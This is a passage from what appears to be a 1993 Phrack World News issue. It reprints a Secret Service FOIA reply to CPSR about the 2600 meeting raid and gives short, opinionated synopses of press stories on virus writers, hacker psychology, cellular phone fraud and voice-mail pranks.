information "because the documents in the requested file contain
information compiled for law enforcement purposes." While the
agency asserts that it possesses no "documentation created by the
Secret Service chronicling, reporting, or describing the breakup
of the meeting," it does admit to possessing "information provided
to the Secret Service by a confidential source which is
information relating to the breakup of [the] meeting." Federal
agencies classify other law enforcement agencies and corporate
entities, as well as individuals, as "confidential sources."
The propriety of the Secret Service's decision to withhold
the material will be determined in CPSR's pending federal lawsuit.
A copy of the agency's letter is reprinted below.
David L. Sobel dsobel@washofc.cpsr.org
Legal Counsel (202) 544-9240 (voice)
CPSR Washington Office (202) 547-5481 (fax)
************************************************
DEPARTMENT OF THE TREASURY
UNITED STATES SECRET SERVICE
MAR 5 1993
920508
David L. Sobel
Legal Counsel
Computer Professionals for
Social Responsibility
666 Pennsylvania Avenue, S.E.
Suite 303
Washington, D.C. 20003
Dear Mr. Sobel:
This is in response to your Freedom of Information Act (FOIA)
request for access to "copies of all records related to the
breakup of a meeting of individuals affiliated with "2600
Magazine" at the Pentagon City Mall in Arlington, Virginia on
November 6, 1992."
Enclosed, please find copies of materials which are responsive to
your request and are being released to you in their entirety.
Other information has been withheld because the documents in the
requested file contain information compiled for law enforcement
purposes. Pursuant to Title 5, United States Code, Section
552(b)(7)(A); (C); and (D), the information has been exempted
since disclosure could reasonably be expected to interfere with
enforcement proceedings; could reasonably be expected to
constitute an unwarranted invasion of personal privacy to other
persons; and could reasonably be expected to disclose the
identity of a confidential source and/or information furnished by
a confidential source. The citations of the above exemptions are
not to be construed as the only exemptions that are available
under the Freedom of Information Act.
In regard to this matter it is, however, noted that your FOIA
request is somewhat vague and very broadly written. Please be
advised, that the information being withheld consists of
information provided to the Secret Service by a confidential
source which is information relating to the breakup of a meeting
of individuals at the Pentagon City Mall in Arlington, Virginia,
and, therefore, appears to be responsive to your request as it
was written. If, however, the information you are seeking is
information concerning the Secret Service's involvement in the
breakup of this meeting, such as any type of documentation
created by the Secret service chronicling, reporting, or
describing the breakup of the meeting, please be advised that no
such information exists.
If you disagree with our determination, you have the right of
administrative appeal within 35 days by writing to Freedom of
Information Appeal, Deputy Director, U. S. Secret Service,
1800 G Street, N.W., Washington, D.C. 20223. If you choose to
file an administrative appeal, please explain the basis of your
appeal.
Sincerely,
/Sig/
Melvin E. Laska
ATSAIC
Freedom of Information &
Privacy Acts Officer
Enclosure
*******************************************
For more information, refer to Phrack World News, Issue 41/1:
Reports of "Raid" on 2600 Washington Meeting November 9, 1992
Confusion About Secret Service Role In 2600 Washington Raid November 7, 1992
Conflicting Stories In 2600 Raid; CRSR Files FOIA November 11, 1992
_______________________________________________________________________________
Surfing Off The Edge February 8, 1993
~~~~~~~~~~~~~~~~~~~~
by Richard Behar (Time Magazine)(Page 62)
[This article is so full of crap that I cannot even bring myself
to include a synopsis of it. Go to the library and read it
and laugh.]
_______________________________________________________________________________
Bulgarian Virus Writer, Scourge in the West, Hero at Home January 29, 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by David Briscoe (Associated Press)
[The Dark Avenger, believed to be a computer programmer in Sophia, has
drawn the attention of computer crime squads in the US and Europe. To
many programmers the Dark Avenger is a computer master to many young
Bulgarians. "His work is elegant. ... He helps younger programmers.
He's a superhero to them," said David Stang director for the
International Virus Research Center.
Neither Bulgaria nor the US has laws against the writing of computer
viruses]
_______________________________________________________________________________
Computer Security Tips Teach Tots To Take Byte Out Of Crime February 3, 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Michelle Locke (Associated Press)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Young Students Learn Why Computer Hacking Is Illegal February 4, 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Bill Wallace (San Francisco Chronicle)(Page A22)
[In an attempt to teach computer crime prevention, children in
kindergarten through third grade in a Berkeley elementary school are
being shown a 30 minute presentation on ethics and security.
The program consists of several skits using puppets to show the
children various scenarios from eating food near computer systems to
proper password management.
In one episode, Gooseberry, a naive computer user, has her files
erased by Dirty Dan, the malicious hacker, when she neglects to log
off.
Philip Chapnick, director of the Computer Security Institute in San
Francisco, praised the idea. "One of the major issues in information
security in companies now is awareness. Starting the kids early ... I
think it will pay off," said Chapnick.]
_______________________________________________________________________________
Tracking Hackers - Experts Find Source In Adolescence February 25, 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
By Mike Langberg (Knight-Ridder News Service)
[At the National Computer Security Association convention in San
Francisco, four experts analyzed the psyche of today's hacker.
The panel decided that hacker bonding came from a missing or defective
family. The panel also decided that hackers weren't necessarily
geniuses, and that a few weeks of study would be enough to begin.
Panel member Winn Schwartau stated that there should be an end to
slap-on-the-wrist penalties. Sending hackers to jail would send a
clear message to other hackers, according to Schwartau.
"What strikes me about hackers is their arrogance," said Michael
Kabay, computer security consultant from Montreal. "These people seem
to feel that their own pleasures or resentments are of supreme
importance and that normal rules of behavior simply don't apply to
them."]
_______________________________________________________________________________
Bomb Recipes Just A Keystroke Away January 10, 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Tracy Gordon Fox (The Hartford Courant)(Page B1)
[Teenagers gathering information via computer have contributed greatly
to the fifty percent increase in the number of homemade explosives
found last year.
The computer age has brought the recipes for the explosives to the
fingertips of anyone with a little computer knowledge and a modem.
One of the first police officers to discover that computers played a
part in a recent West Hartford, Connecticut, bombing said that
hackers were loners, who are socially dysfunctional, excel in
mathematics and science, and are "over motivated in one area."
The trend has been seen around the country. The 958 bombing incidents
reported nationally to the Bureau of Alcohol, Tobacco and Firearms was
the highest in 15 years.]
_______________________________________________________________________________
Hackers Hurt Cellular Industry January 25, 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by John Eckhouse (The San Francisco Chronicle)(Page C1)
[With only a little equipment and technical knowledge, telephone
pirates can make free calls and eavesdrop on cellular conversations.
"Technically, eavesdroping is possible, but realistically I don't
think it can be done," said Justin Jasche chief executive of Cellular One.
The Cellular Telecommunications Industry Association estimates that
hackers make about $300 million worth of unauthorized calls a year,
though others put the figure much higher.]
-------------------------------------------------------------------------------
Cellular Phreaks and Code Dudes February 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by John Markoff (Wired) (page 60)
[Two hackers, V.T. and N.M. have discovered that celluar phones are
really just little computers linked by a gigantic cellular network.
And like most computers, they are programmable. The hackers have
discovered that the OKI 900 has a special mode that will turn it into
a scanner, enabling them to listen in on other cellular conversations.
The two also discovered that the software stored in the phones ROM
takes up roughly 40K, leaving over 20K free to add in other features,
They speculate on the use of the cellular phone and a computer
to track users through cell sites, and to monitor and decode
touchtones of voice mail box codes and credit card numbers.
Said V.T. of the OKI's programmers, "This phone was clearly built by
hackers."]
-------------------------------------------------------------------------------
Callers Invited To Talk Sex, Thanks To Hacker's Prank February 5, 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(The Vancouver Sun) (Page A-9)
[For the past two weeks, surprised callers to CTC Payroll Services'
voice-mail system have been invited to talk sex. Instead
of a pleasant, professional salutation, callers hear a man's voice
suggesting that they engage a variety of intimate activities.
The prankster is a computer hacker who can re-program the greeting message
on company telephones. Company owner Cheryl MacLeod doesn't think the joke
is very funny and says the hacker is ruining her business.]
_______________________________________________________________________________
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